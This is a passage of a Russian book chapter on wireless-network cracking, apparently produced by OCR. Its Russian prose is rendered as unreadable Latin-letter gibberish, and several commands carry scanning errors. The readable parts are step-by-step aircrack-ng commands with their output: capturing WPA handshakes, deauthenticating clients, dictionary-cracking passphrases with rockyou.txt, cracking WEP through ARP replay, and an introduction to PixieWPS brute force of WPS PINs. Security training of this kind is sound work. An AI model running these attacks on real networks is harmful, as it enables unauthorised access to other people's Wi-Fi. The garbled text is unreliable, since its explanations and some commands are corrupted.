Puc. 11.11. OtBeT Ha kOMaHAy iwconfig

2. B mepByio ouepe/ib MbI 33/IefiCTByeM MHCTPYMeHT airmon-ng. OH 1mo3BoJIsieT mepe-
BECTH Ballly OeCIPOBOIHYIO CETEBYIO KapTy B TaK HAa3bIBAEMbIil PEsKIIM MOHUTOPHHTA.
ITO OYeHb II0XOXKe Ha IIepPeBO/L ceTeBOro uHTepdeiica B peskuM 3axBara Tpaduka.
JIaHHBII PEKUM, 110 CPABHEHHIO ¢ OOBIYHBIM, IO3BOJISIET 3aXBaThIBATh GOJIBIIE TPa-
(uka. YToObI y3HATH, KaKIe TAPaMeTPhI JOCTYIIHBI B airMoN-ng, BBEANTE KOMAH/LY:

# airmon-ng -h

B orBer BbI yBUnUTE Ccaiemytotiee (puc. 11.12).

(root@kali:~# airmon-ng -h

lusage: airmon-ng <start |stop|check= <interface= [channel or freguency]

Puc. 11.12, MNMapaMeTpbl, AOCTYMHbIE B @irmon-ng

[[]IH N3MEHEHHA pEXKNMaA 66CHDOBOZIHOIL/'I ceTeBOi KapTbl Ha PEKUM MOHUTOPHUHTIA
BBEAUTE KOMaH/1y:

# airmon-ng start wlan@

B ciryuae ycriexa Ml yBugimm caenyioniuii otset (puc. 11.13).

root@kali:~# airmon-ng start wlan®

Interface Driver Chipset

wlan@ athSk htc Atheros Communications, Inc. ARS271 8062.

(macB8B211 monitor mode vif enabled for [phy@]wlan® on [phy@]wlan

[macB80211 station mode vif disabled for [phy@]wlan@}

Puc. 11.13. 3MeHeHue pexvMa 6ecnpoBoaHON CeTEBOW KapTbl

[Tocnie moBTOPHOIT TTPOBEPKM MHTEP(ENCOB, BHITOTHIEMON C TTOMOIIBI0O KOMAaH/IbI
iwconfig, MbI yBUANM, 4TO Hall MHTepdeiic b1 n3mMeHeH (puc. 11.14).
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root@kali:~# iwconfig

wlanBmon IEEE BGZ2.l1lbgn Mode:Monitor Freguency:2.457 GHz Tx-Power=20 dBm
Retry short 1imit:7 RTS thr:off Fragment thr:off
Power Management:off

no wireless extensions.

no wireless extensions.

Puc. 11.14. BecnpoBOAHON CETEBOW UHTEPdENC 3MEHEH

HOT/Ia BCTPEUYAIOTCS TIPOIIECCHI, KOTOPBIE MEIIAIOT TIEPEBOLY GECITPOBOIHON KapTh
B peskuM MoHuTOpuHTa. [Ipy BhITIO/IHEHU KOMaH/Ibl airmon-ng start wlan@ Moser
HOSABUTHCA ciiemyloniee coobiienue (puc. 11.15).

root@kali:~# airmon-ng start wlan®

Found 3 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short pericd of time, you may want to kill (some of} them!

PID Name

525 NetworkManager
636 dhclient

874 wpa_supplicant

PHY Interface Driver Chipset

phy@® wlan@ athSk_htc Atheros Communications, Inc. ARS271 B802.
11n

Newly created monitor mode interface wlan@mon is *NOT* in monitor mode.
Removing non-monitor wlanBmon inter

WARNING: unable to start monitor mode, please run "airmon-ng check kill"

Puc. 11.15. CoobLieHne 0 BO3HMKLWNX NpobneMax npu U3MEHEHUN pexvMa
6ecnpoBoAHOI CeTEBON KapThl

ITO 3HAUWT, UYTO, BO3SMOKHO, CYIIECTBYET TPHU IIPOIfecca, KOTOpbIe He TT03BOJISIOT
nepeBecTy OeCIPOBOAHYIO KapTy B peskuM MonuTopunra (puc. 11.16). B aTom ciyuae
MBI 3aITyCKaeM CJIeTYIONIYI0 KOMaHY:

# airmon-ng check kill
II'erCit{i_lkél].i:"-'# airmon-ng check kill

(Killing these processes:

PID Name
636 dhclient
874 wpa_supplicant

Puc. 11.16. Mpouecchl, Melwatowme nepeosy 6ecnpoBOAHON CETEBON KapTbl B PEXUM MOHUTOPUHIA
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3. ﬂ]lﬂ OCTAHOBKH 3TUX ITPOIECCOB BBIITOJHUTE CJIEYIONNE KOMaH/IbI:

# pkill dhclient
# pkill wpa_supplicant

[Tocsie BBeeHMs 9TUX KOMaH/I IIPOIECCHI, MelIaoliye airmon-ng, OyayT OCTaHOB-
Jienbl. [[J19 X MOBTOPHOTO 3aIlycKa 110 OKOHYAHUU MCIIOJIb30BAHUS MHCTPYMEHTOB
Aircrack-ng BBezuTe 1iBE CIeAYIONINE KOMAH/IBL:

# service networking start
# service network-manager start

Jlpyroii criocob sarmyctuThb mporeccsl — nepesarpy3uts Kali Linux.

Ha caieptyioniem arare Ham HY>KHO TTPOCKAaHUPOBATH 1EJIEBYIO CETh. B TIpebiyiiem
pasziesie Mbl 0OCYIMIIN, KaKKe Pa3BelbIBaTe/IbHbIE OIePal[ii He0OXOANMbI JIJIs1 BBISB-
JIEHUST TIOTEHITNATBHBIX 11eJIeBbIX ceTeil. Ceituac 11t ueHTruhuKauy Haleii 1eJieBoi
ceTH MbI cobrpaeMcs mopaboTaTh ¢ MHCTPYMEHTOM airodump-ng, a Takke OIpeenTh
BSSID, koTopblii OH UCIIOJIB3YET, U KaHaJl, Ha KOTOPOM OH Belaet. YToObl IIoIyduTh
JIOCTYII K apamerpaM airodump-ng, BBeAuTe B KOMaH/IHOI CTPOKE CIIeyIOLIee:

# airodump-ng -help

ITO IpUBeEIET K TakoMy BbIBozY (puc. 11.17).

root@kali:~# airodump-ng --help

Airodump-ng 1.2 rc3 - (C) 2006-2015 Thomas d'Otreppe
http://www.aircrack-ng.org

usage: alrodump-ng <options= <interface=[,<interface=,...]

Options:
--ivs : Save only captured IVs
--gpsd : Use GPSd
--write <prefix= : Dump file prefix
-w : same as --write
--beacons : Record all beacons in dump file
- -update <secs> : Display update delay in seconds
- -showack . Prints ack/cts/ris statistics
-h : Hides known stations for --showack
i <msecs> : Time in ms between hopping channels
--barlin =gacs= : Time before removing the AP/client
from the screen when no more packets
are received (Default: 120 seconds)
<file= : Read packets from that file
=msecs> : Active Scanning Simulation
--manufacturer : Display manufacturer from IEEE OUI list
--uptime : Display AP Uptime from Beacon Timestamp
- -wps : Display WPS informalion (il any)
--output - format
=formats= : Output format. Possible valuecs:
pcap, ivs, csv, gps, kismet, netxml
--ignore-negative-one : Removes the message that says
fixed channel <interface=: -1
--write-interval
=<seconds=> : Output file(s) write interval in seconds

Puc. 11.17. MapameTpbl airodump-ng
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Tenepb MbI Oyz1eM UCIIOAb30BATh KOMAH/LY airodump-ng [ist uieHTU(DUKAIIN Haleit
11eJ1eBOI ceTr. BBeuTe CeIyIoniyo KOMaH/Iy:

# airodump-ng wlan@mon

Muctpyment airodump-ng 6yzer paboTath CTOJBKO, CKOJBKO MOTPeOyeTCs st
oTpe/ieIeHns 1eieBoil ceTu. Kak TOJIbKO BbI YBU/IUTE TI€JIEBYIO CETh, OCTAHOBUTE
mpotiece, Haxkas Ctrl+C. Ha sKkpaHe MOsIBUTCS CJEAYIONIMN BBIBO/, B KOTOPOM OyeT
mokasaHa 1eseBas ceThb (puc. 11.18).

][ Elapsed: 1 min ][ 2016 06 67 21:56

PWR Deacons #Data, #/s ( CIPHER AUTH ESSID

=length:
CCMP  PSK
CCMP  PSK
CCMP  PSK ;
CCMP PSK <length:
xfinitywifi
cCcMp PSK  =<=length: O=
ccmp PSK.  HR-HOME
CCMP  PSK CenturyLinkl1567
CCMP  PSK SECALT
CCMP  PSK <length: 1
xfinitywifi

[

OO0~ 22 ~0000

Puc. 11.18. LleneBas ceTb BblaeneHa

Ha nipezbiryiiem atarie Mbl OTIPE/IETUIN TPU KITIOUEBBIX djieMeHTa. Bo-1iepBbIX, Ha-
IIJIM HAIL LIEJIEBYIO ceTh, KoTopast HasbiBaeTcs Aircrack Wi-Fi. Bo-BTopbIX, y Hac ecTh
BSSID, koropsiii sBisiercst MAC-anpecom it nienesoit cetu: 44:94:FC:37:10:6E.
U naxonel, ysHaiau Homep Kanaua: 6. Ciaenyrommm satanom Oyzer 3axsaT 6ecipo-
BOJIHOTO TpadhuKa, NCXO/SIIErO U3 11eJIeBOM TOYKM jocTyna. Hama 1esbp — 3axBa-
TUTh YETHIPEXCTOPOHHEe pyKomoxkarue. UToObl HauaTh 3aXBaT TpaduKa, BBEAUTE
B KOMaH/THOH CTPOKE KOMaH/LY:

# - airodump-ng wlan@mon -c 6 --bssid 44:94:FC:37:10:6E -w Wi-Ficrack
CMBICJT 9TON KOMAH/IbI CIIYONTHIL: airodump-ng K0/KeH HCIoIb30BaTh HHTEPdEIic
MOHHMTOPWHTA JIJIst 3aXBaTa Tpaduka 6ecrpoBoHOI ceTeBoil KapThl, MAC-aapec Ko-

Topoit — 44:94:FC:37:10:6E, n xanana nameii nesieBoii cetn. Ha puc. 11.19 nmokaszan
BBIBOJI KOMAH/IBI.

CH 6 || Elapsed: 1B s || 2016-B6-14 21:22
BSSID PWR RX( Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

44:94:7FC:37:10:6C" -44 100 188 ¢} 0 6 5S4e WPAZ CCMP PSK Aircrack Wifi

BSSID STATION PWR  Rate Lost Frames Probe

Puc. 11.19. OTBeT Ha kOMaHZy 3axBaTa Tpaduka LeneBon 6ecnpoBOAHON CETEBOM KapThl
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[To Mepe BBITOTHEHUST KOMAH/IBI CJCYET YOS UTHCST, YTO MBI 3aXBATUIIN PYKOTIOKA-
tHe. Ecii KJIMEHT MOIKITI0AeTCsI ¢ IOy CTUMBIM PYKOTIOJKATHEM, BBIXOHbBIE TAHHbIE
KOMaH/IbI ITOKA3bIBAIOT €ro Kak 3axBauerHoe (puc. 11.20).

6 ]| Elapsed: 1 min || 2016-06-14 21:23 || WPA

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

A4 :94 :FC:37 110 :6E~=41-100 577 101 2 6 b54e WPA2 CCMP  PSK Aircrack Wifi

BSSID STATION PWR  Rate Lost Frames Probe

44:94:FC:37:10:6E 64:A5:C3:DA:30:DC 18

Puc. 11.20. PykonoxaTue 3axBa4yeHo

Ecsiu BBl He MOKeTe 1mosryanTh pykornokarue WPA, mocMoTpuTe, ecTh JI KJIUEHT,
obpalarouuiics K ceTi. B JaHHOM cjiy4yae Mbl BUAMM CTaHIIMIO, TOJKIOUEHHYIO
K neseBoit GecripoBoaHoit cetrt ¢ MAC-aapecom 64:A5:C3:DA:30:DC. TTockosbKy
9TO YCTPOUCTBO ayTeHTH(DUIIPOBATIOCH, CKOPEE BCEro, Mocjie 00pbIBa CBsA3M ([eayTeH-
TU(UKAIMI) OHO CHOBA aBTOMAaTHUYECKU HauHeT IPoLece MoAKaoueHuss. YTo6bl
UHUIIMUPOBATH OOPBIB CBSI3H, BBEANTE B KOMAHIHYIO CTPOKY CJIEAYIOILYI0 KOMaH/LY:

# aireplay-ng -0 3 -a 44:94:FC:37:10:6E - c 64:A5:C3:DA:30:DC wlan@mon

Komana aireplay-ng 1mo3BoJisieT BBOJUTD MAKeThl B KOMMYHUKAIIMOHHBIH TTOTOK
"u HeayTGHTI/I(I)I/IHI/IPOBaTI) KJIMEHT. 3TO 3aCTaBUT KJIMEHT BBIIIOJIHUTDHD HOBOE pyKO-
noxxatrne WPA, KoTopoe MBI, B CBOIO OUepelb, MOKEM 3aXBATUTh.

5. TlocJie TOTO Kak MbI 3aXBaTUJIU PYKOIOKATHE, airodump-ng cJeayer OCTAaHOBUTb.
[L71s1 aTOTO HAXKMUTE codeTanne KiaaBuii Ctrl+C. Ecin Mbl paccMOTPIM KOPHEBYTO TIall-
Ky, TO yBUIUM 4eThIpe (haiisia, KoTopbie ObLIH CO3aHbl 13 Halero gamia (puc. 11.21).

B Wireshark mbr Mmoskem usyuntb (aiin wificrack-01.cap. Eciau Mbl epeiigzem

K niporokony EAPOL, To yBu/uM 3aXBaueHHOE YeThIPEXCTOPOHHEE PYKOIOKATHE
(puc. 11.22).

I[Ipu panbHeiineM u3y4eHnu Mbl OGHAPYKUM KOHKpeTHbIH kou WPA Nonce u ¢Bsi-
3aHHy10 ¢ HUM nHbopmarmio (puc. 11.23).

6. Temepn y Hac ecTh WHGOPMAIHS, HEOOXOAUMAS JIJIST B3JIOMA MTPEABAPUTETHHOTO
obutero kiaoua WPA. [t 5T0ro Mbl BOCIOJIb3yeMcsl HHCTpyMeHTOM Aircrack-ng.
Huske mpuBesieHa oTHOMMEHHAsT KOMaH/A:

# aircrack-ng -w rockyou.txt -b 44:94:FC:37:10:6E wificrack-01.cap

B aroii komanze Mot ugentudunupyem BSSID 1eseBoii cetn ¢ mapaMeTpoM -b.
3arem ykasbiBaeM Ha aiis 3axBata wificrack-01.cap. HakoHel, Mbl UCIIOJIb3yeM
CIIMCOK CJIOB TIPUMEPHO TaK, KaK B3JIaMbIBasii Obl (haiis maposist. B aToM cirydae Mbr
B3sIJIN CITUCOK U3 (haiisa rockyou. txt. Kak TosbKko KoMan/ia Gy/IeT BBeIeHa, HAJKMUTE
Enter, u Aircrack-ng Hauner paborats (puc. 11.24).
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wificrack-01.cap wificrack-01.esv wifierack-01. wifierack-01.

kismet.csv kismet.netxml

Puc. 11.21. B kopHeBoI nanke co3aaHbl YeTblpe daina

7732 B89.849468 Actionte_46 10 Acknowledgement, Flags-
B ] J

: i
1878 29.184430 Apple da:3e:dc (Message 3
1880 29.187000 Apple_da:30:dc Netgear_37:10:6e EAPOL 133 Key (Message 4 of 4)
4160 51.574572 Netgear_37:10:6e Apple_da:30:dc EAPOL 155 Key (Message 1 of 4)
4166 51.588907 Netgear_37:10:6e Apple_da:30:dc EAPOL 189 Key (Message 3 of 4)
4170 51.591484 Apple_da:30:dc Netgear_37:10:6e EAPOL 133 Key (Message 4 of 4)
7216 83.908415 Apple_da:30:dc Netgear_37:10:6e EAPOL 155 Key (Message 2 of 4)
7219 83.923762 Netgear_37:10:6e Apple_da:30:dc EAPOL 189 Key (Message 3 of 4)
7221 83.927359 Apple_da:38:dc Netgear_37:10:6e EAPOL 133 Key (Message 4 of 4)

Frame 1873: 155 bytes on wire {12-10 b1ts}, 155 bytes captured (1248 bits)
ICCC 802.11 Qo5 Data, rlags:

Logical-Link control

802.1X Authentication

rFvrwrw

Puc. 11.22. PykonoxaTtue nepexsayeHo

w 802,1X Authentication

version: 802.1X-2004 (2)
Type: Key (3)
Length: 117
Key Descriptor Type: EAPOL RSN Key ([2)

p Key Information: oxo0Ba
Key Length: 16
Replay counter: @
WPA Key Nonce: d66580dd166be6lc208d258d5637f3658686660be7he3137. ..
Key IV: 000Q00000000000Q00R0000000000000
WPA Key RSC: 0000Q0000000000Q
WPA Key ID: 0000000000000000
WPA Key MIC: 00000000000000000000000000000000
WPA Key Data Length: 22

v WPA Key Data: ddi4oeefacpari3asfaf2dos308c29bf183cdsoflbas
p Tag: vendor Specific: IeeeB021: RSN

Puc. 11.23. Kntoy WPA Noice 1 cBsi3aHHasi C HUM MHbOpMaLums HanaeHbl
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ARircrack-ng 1.2 rc3

[B0:00:27] 13128 keys tested (522.

Current passphrase: turtlel23

Master Key : EB 72 7B
F9 D6

Transient Key : E@ BG
65 81
C6 06
3B AB

EAPOL HMAC 1 72 D4

Puc. 11.24. Aircrack-hg 3anywieH
Ha ocHoBaHuM criricka mapoieii rockyou. txt Aircrack-ng npoBepuTt Kaxayro KOM-
OuHaIMIO 3aXBauyeHHOTO (aiina. Eciu ucmob3yeMplil B peaBapuTebHOM 00IIeM

KJIf0Ue KOJI I0CTyTa ecTh B daiiie, Aircrack-ng Beigact ciemymoiiee coobIeHne
(puc. 11.25).

Aircrack-ng 1.2 rc3
[@1:42:4]1] 8623648 keys tested (1385.07
KEY FOUND! [ 15SHOUTINGspiders ]

Master Key : FF 33 BC CC 87 GF AB B8 7A 7F
DE 1A 38 38 3F 21 8F

Transient Key : 58 0 12 BA 63 FF 11
o D3 92 C5 C9 5B
B9 68 oD 12 4F E4

86 FC 43 90

EAPOL HMAC : FB AQ O 51 F8 OA

Puc. 11.25. CoobuieHue Aircrack-ng

Ha puc. 11.25 mbI Bugmm, uto passcode "15SHOUTINGspiders” Haxoauscs B daiise
rockyou.txt. Ob6parure TakKke BHUMAHHUE, YTO B3JIOM 3aHsLI IprMepHo 1 yac 42 MUHYTHI
U B KOHEYHOM UTOTe ObLI0 IpoBepeHo 8 623 648 pas/imyHbIX KOLOB AOCTYIIA. DTOT METOL
MOZKHO MCIOJIB30BATh € JIOOBIM CIIUCKOM TTApPOJIEN TaK JKe, KaK 3TO JeaIoCh B TJIaBe
0 B3JIOMeE T1apoJiell. YUTHUTe, 4YTO MapoJb MOKET UMETh IJIMHY OT § 10 63 CMBOJIOB.
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KosmmuecTBo KOMOUHALUI, KOTOPbIE MbI MOKEM [IPUMEHUTD, CJMIIKOM BEJIMKO, YTOOBI
noxbuparh napoJb Bpyuryro. OznHako takas ataka OyzaeT ahpeKTUBHA IPOTUB JIETKO
3aMIOMWHAEMbIX WJIM KOPOTKUX MAPOJIbHBIX (hpas.

Bnom WEP

[Tportecc B3iioma WEP ouenb noxosx #a takoBoil B otHotnienun WPA. Onpenennre
I[EJIEBYIO CETh, 3aXBaTuTe TPpabUK ¢ MEXAHU3MOM ayTeHTU(DUKAIMH, a 3aTEM, 4TOOBI
[IPEPBATD CBSI3b HEJEBOTO OECIPOBOHOTO YCTPOUCTBA € CETHIO, BRIOEpUTE aTaky rpy0doit
cuibl. OtHaxo nporiece B3ioma W EP Heckosbko oTsuaercs ot riporiecca B3zioma WPA.
B oriunre ot Banoma WPA, e Ham HYKHO ObLJIO JINIIH 3aXBATUTh YETHIPEXCTOPOHHEE
pyxonokarue, B WEP-B30Me notpebyercst yoeauThest, 4T0 Mbl cOOPan 0CTATOUHO
sexmopos unuruanuzavuy (IVs). Ha nepBblit B3rJisiji 9T0 MOKET MOKA3aThCsI OYeHb CJI0K-
HOM 3a/1a4eii, HO € TIOMOIIBIO IOCTYITHBIX METO/IOB MbI MOJKEM 3HAYMTEJbHO COKPATUTD
BpeMsl Ha IlepexBaT U aHajaus Tpaduka.

1. Yrob6sl Hauarh nporecc B3iomMa WEP, cienyer nmepeBectst 6€CIIpOBOIHYIO KapTy
B PE’KMM MOHUTOPUHTA. JTO JieIaeTcs Tak JKe, Kak 1 pu B3noMe W PA. Beeaure cie-
JIYTOITY10 KOMaH/TY:

# airmong-ng start wlane

2. Jlasee, 4TOObI HAWTHU LIEJIEBYIO CETh, BHIIOJHITE TAKYIO KOMAH/LY:

# airodump-ng wlan@mon

ITO NPUBEJET K CO3aHUIO CIrcKa 6ecripoBoanbix cereii (puc. 11.26).

CH 6 ][ Elapsed: 6 s ][ 2016-06-17"18:52
BSSID PWR © Beacons #Data, #/s ENC " CIPHER ESSID
-90

-85
-81

.‘OPN xfini
. WPA2 CCMP =<leng
WPAZ CCMP { MDH W

. WPA2 CCMP { <leng
WPAZ CCMP { Boomb
WPAZ CCMP {"2HOME -

. WPAZ CCMP { Aaron
{ HOME-

Centu

S OWO OO OO DO @@
D OFOOEEEOEO 0000000

2
2
2
2
2
2
3
2
3
3
4
7
4
5]
8
5
3
4

=<leng

Puc. 11.26. Cn1cok 6ecnpoBoAHbIX CETeN co3aaH
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Mbl orpeziesniiiu 1esieByio ceth 1o yrpasienrem W EP ¢ BSSID C0:56:27:DB:30:41.
B ToMm ke Kiioue Mbl IOJDKHBI OTMETUTH 9TO, & TAKKe KaHAJ, KOTOPBIN NCTOJNb3YeT
TouKa jocryna. B gamnom ciaydae ato kanan 11.

3. Jlns 3axBaTa JAHHBIX B [EJIEBOI GECIIPOBOIHOI CETH MBI BBEIEM KOMaH/Iy airodump-ng:
# airodump-ng -c 11 -w belkincrack --bssid C0:56:27:DB:30:41
Omna HaBoAXUT MHCTPYMEHT airodump-ng Ha Hally 1eJIEeBYIO CETh, PACIOJIOKEHHYIO

Ha COOTBETCTBYIONIEeM Kanasie. Kpome Toro, Mbl ukcupyem Tpacduk, 3armcaHHbIi
B (haii belkincrack. Boioa komanabt Oyzer takum (puc. 11.27).

CH 1] [-'Elapsed &2 fmins -] [ 2016-06-17 1B:25

BSSID PWR RXQ Beacons #Data, #/s1 CH MB ENC 2 CIPHER AUTH E
CO:56 2EDE3074136 145 13 354 6] o] 1 54e . WEP.Z WEP 0PN b
BSSID STATION PWR Rate Llost Frames Probe

C0:56:27:0B:30:41 ° 10:FE:ED:24:6F:F2 ¢] 4

Puc. 11.27. BbiBoa koMaHAabl airodump-ng

O6paryre BHUMAHUE, 4TO MbI [T0Ka HE BUMM HUKAKKMX JAHHBIX, [IepelaBaeMbIX U IIPH-
HUMaEMbIX 3TON TOUYKOM JIOCTYIIA. DTO BAKHO, TaK KakK JIJIst B3jioMa Kioua WEP nam
HY’KHO 3aXBaTUTD TTAKEThI TAHHBIX, KOTOPBIE COiepsKaT BeKTopbl nHuImammsarmu (1Vs).
4. MBbI 10JKHBL TO/IENATh ayTeHTUMUKAIIUIO /I Hallel 11eseBoii cetu. [lo cytu, Mbr
HCIIoJIb3yeM uHCTpyMeHT Aircrack-ng o HazBamueM aireplay-ng, uTo6bi cOOOIINTD
TOUKE JIOCTYIIA, YTO Y HAC eCTh IpaBUIbHbIH K104 WEP 1 Mbl roToBbI ayTeHTH(U-
nnpoBathed. [laxke ecam y HAC HET MPABUJIBHOTO KJIOYA, CAeYIONIas KOMaH/a 110-
3BOJISIET MOJJIEAaTh ay TeHTU(UKAIMIO 1 00IIaThest ¢ TOUKOi goctyna WEP:

# aireplay-ng -1 © -a (C0:56:27:DB:30:41 wlan@mon
3/1ech MblI MTOJIJIEIANIN ayTeHTU(UKAIINIO, YKa3aB -1 1 @ KaK BpeMs TOBTOPHOII 1iepe-

Jaun 1 -a kak BSSID narmeit 1iesieBoii Toukn jgocryta. [Tocsie BbIMOTHEHMST KOMaH/[bI
MBI TIOJIYYNM cJieiytoninii pe3yabTat (puc. 11.28).

root@kali:~# aireplay-ng -1 0 -a C0:56:27:DB:30:41 wlanGmon
source MAC [-h) specified. Using the dewice MAC (10:FE:ED:24:6F:F2)
:55:13 Waiting for beacon frame (BSSID: CB:56:27:DB:30:41) on channel 11

:55:13 Sending Authentication Request (Open System) [ACK]
:55:13 Authentication successful

:55:13 Sending Association Request [ACK]

:B5:13 Association successful :-) [AID: 1}

Puc. 11.28. Pe3ynbTaT BbINOMHEHUS KOMaHAbI aireplay-ng
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Ternepb y Hac ecTh BO3MOKHOCTD 00IIaThCsT ¢ TOUKOiT sroctya WEP.

5. Kak BbI Butesin, npu BbITOJHEHUH THAra 3 MbI TIOJIYYHJIN OY€Hb MAJIO TAHHBIX, TI€pe-
JlaBaeMbIX B 060UX HATIPABIECHUSX YepPe3 TOUKY AocTyrna. YTo6bl rapaHTHpPOBaTh,
YTO MBI MOXKEM MOJTYYUTh GOJIBINOE KOJTUYECTBO TAHHBIX, HAM CJIE/YET 3aXBaTUTh [V
1 CO3/1aTb KOJIn3uIo. JJisl yBesmueHus oToKa JIaHHbIX OT TOYKH JI0CTYyIIa HaM CHOBa
HY’KHO MCTIOJIb30BaTh aireplay-ng. C mMoMOIIbIo KOMAH/IbI, TPUBEICHHOI HIKE, MBI
cobupaeMcst IPOBECTH TIOBTOPHYIO aTaky Ha 3armpochl ARP u peTpancanpoBarh ux
B TOUKY ztoctyia. Kask/piii pas, Korja BbIIIOJIHSAETCS TaKkas olepalus, FeHepupyeTcs
HOBDII BEKTOP MHUIIMAIU3AIMN U HAIIK IIAHCBI Ha (hOpCUpOBaHMe ATON KOJIU3UN
yBesinuuBaloTcs. OTKpoiiTe BTOPO TEPMUHAJ U BBEAUTE B KOMAH/IHYIO CTPOKY CJie-
JIYIOILYIO0 KOMaH/Ly:

# aireplay-ng -3 -b C0:56:27:DB:30:41 wlan@mon

3jtech -3 TOBOPUT aireplay-ng mpoBecTH ataky MOBTOPHOTO BOCIIPOM3BEIEHUS 3a1TPO-
ca ARP nipoTuB ceTn -b Ha onpenesienHoM HHTepdeiice wlanOmon. [Tocie BbITIoHE-
HUST KOMaH/[bl BaM HEOOXOIUMO TIPUHY/IUTENHHO BBIOJHUTD 3arpockl ARP, Bbi3BaBs
JIPYTOI XOCT B TOM 3Ke ceTH. ITO akTuBU3MpyeT 3arpockl ARP. Kak Tosibko oneparus
OyzeT BBITIOTHEHA, BBl YBUAWTE cieAyonuii BeiBox (puc. 11.29).

|r00t@ka1i:~# aireplay-ng -3 -b CB:56:27:DB:30:41 wlanB@mon

(Mo source MAC (-h) sp fied. Using the device MAC (10@:FE:ED:24:6F:F2)
118:55:40 -Waiting for beacon frame (BSSID: C0:56:27:DB:308:41) on channel 11
i reguests in replay arp-0617-185541.cap

also start airodump-ng to capture replies.
i packets (got 27 ARP requests and 47 ACKs), sent 76 packets...(497 pps
|Read 19357 e {got 42 ARP reguests and B3 ACKs), sent 126 packets...(498 pp
Read 19470 e {got 69 ARP reguests and 122 ACKs), sent 177 packets...[501 p
Read 19606 e {got 90 ARP reguests and 167 ACKs), sent 227 pac

Puc. 11.29. 3anpocbl ARP akTMBU3MPOBaHbI

Eciin MbI BepHeMcst K 1IepBOM KOMaHAHOII cTpoke, rae paboraer airodump-ng, To
YBUJIMM, YTO CKOPOCTb IIepeiau JaHHBIX HAUMHAET yBEJINUNBATLCA. B aTOM cirydae
Mol oryanm 6osiee 16 000 Bekropos ununmasusaiuu (puc. 11.30).

1[ Elapsed: 14 mins ][ 2016-06-17 19:08
PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH E
:27:DB:30:41 -27 188 5608 16358 @ 11 542 WEP WEP 0PN b

STATION Rate Lost Frames Probe

:27:DB:30:41 10:FE:ED:24:6F:F2 g 4l = 1 491966
sz elblesEleledlil  ATslEstetlEsdEeklE -2  Ede-Eda 11838

Puc. 11.30. [0TOK AaHHbIX YBENNYUICS
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6. Ortkpoiite Tpetuii TepMuHai. 3ech Mbl cobupaemMcs HauaTh B31oM WEP. On Moxer
BBIIIOJIHATHCS B TOT MOMEHT, II0Ka KOMaHza airodump-ng saxsaTbiBaer 1V. UToOb!
3aIlyCTUTH ATOT TIPOIIECC, BBEIUTE CACAYIONYIO KOMAH/Y:

# aircrack-ng belkincrack-01.cap

3j1ech MbI ITPOCTO YKa3bIBaeM KOMaHjie aircrack-ng Ha paboTtaromiuii (ailr capture.
Aircrack-ng cpasy npumercs 3a pabory (puc. 11.31).

Aircrack-ng 1.2 rc3

[GR:00:32] ‘Tested 673 keys [got "48B159-1Vs)

byte({wvote)

B9(7424) -AS({7168) -DF(7168) 67(6912) AD(6912)
ES{6656) - 1A(6400) -137(6400) 9B({6400) AF{6400)
EB(6912) -OF (6656} -129(6656) 6F (6656)  7E(6656)
54(8448) -39(7424) - F6(7424) "FE(7424) 35(7168)
1C{8704) -SA(7936) "E3(7936) 48(7680) 4C(7680)

WWMN—Oh T

Puc. 11.31. Aircrack-ng npuHsincs 3a paboty

Ecau IV wenocratouno, Aircrack-ng moBTopuT MoAKIOUEHNE, KOTAa KOJTMIECTBO
craHer npuemsieMbiM. Kak mokasaHo Ha puc. 11.32, Aircrack-ng cMor onpeaesnTsb
kmiou WEP. Beero 6b110 3axBaueno 15 277 BEKTOPOB MHUIMANN3AIUN, KOTOPbHIE
UCIIOJb30BAUCH JIIA B3JoMa. Kpome Toro, MeHee ueM 3a TPy MUHYTHI OBLIU TIPO-
TecTrpoBaHb! 73 253 kitoua (puc. 11.32).

Aircrack-ng 1.2 rc3

[BB:R2:52] Tested 73253 keys [got 15277 IVs)

depth  byte{vote)
B/ 3 34(24576) BF({22016) 75(21760) C3(20982) E6(20736)

20/ 24  7C{18432) 3A(18176) 57(18176) B1(18176) SA[18B176)
4/ 11  AS({18456) 7F(19456) BD(192600) D2(19200) FA({18S544)
1/ 32 CD(18868) CC({18712) 07(159712) 97(19712) SC({19456)
0/ 3  25(23040) 74(20736) 24(20480) C4(19968) 05(19712)

KEY FOUND! [ 34:4D:AS9:CD:25 ]
Decrypted correctly: 180%

Puc. 11.32. Kntou WEP onpeaeneH

Kak BuznTe, B 9TOI arake ¢ HYKHBIM KOJTMYECTBOM GECIPOBOIHOTO TpaduKa U Ha-
60poM nHCTpyMeHTOB Aircrack-ng mbl cMorsu onpeaeuTh kiatod WEP, koTopbrit
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[I03BOJIsIET ayTeHTUMUIMPOBATHCS B ceTH. ITO ObLJIa JIerkast aTaka, B KOTOPOM MbI I10-
kazanu nepexos oT WEP k ayrentuduranun WPA. Kak yxke roBopusioch, n3-3a aToi
ya3BUMOCTHU KoamdecTBO ceteit W EP ymeHbIaeTcs, HO UX eliie MOKHO BCTPeTUTh. bia-
ro/Iapst PACCMOTPEHHOMY TTPUMEPY aTaKH BbI TETePh MOHUMAETE CEPhE3HYT0 OMACHOCTb,
CBSI3aHHYIO C JIAHHOMN YSI3BUMOCTBIO.

PixieWPS

PixieWPS — 9T0 aBTOHOMHBIIT KHCTPYMEHT IPyOOI CHIIbI, KOTOPbIiA MCIIOJIb3YeTCs /IS
obparHoro BeiBozia GectipoBoHoil Touku goctyna WPS. Hazsanue PixieWPS npowucxo-
T or ataku Pixie-Dust, kotopast ObLia BbisiieHa JJomuankom Borrapaom (Dominique
Bongard). 9Ta ys3BuMOCTb 1103B0JIsIET IpUMEHUTD rpyOyio cuiry WPS PIN.

Yt06b1 OTKpBITH PixieWPS, BBeanTe B KOMAHHOI CTPOKE CIEAYIONLYIO KOMaHLY:

# pixiewps
[TocJie ee BBIMTOJIHEHWST BbI TIOJIy4nTe pa3indtbie mapaMerpbl. dto6nr PixieWPS
paboTas mpaBUIbHO, HEOOGXOANMO UMETD CIEAYIONYI0 HHMOPMAIIHIO:
OTKPBITBLIA KJII0Y [10JIb30BATEJL;
OTKPBITBIN KJIIOY PETUCTPAIINH;
MOJTyIeHHBII Xen-1;
MTOJTyYEHHBIH XeII-2;

KJTIOY ceaHca ayTeHTH(HUKAIINY;

[ Iy Sy Ny Ny

CIIcIIMaJIbHOE CJIOBO.

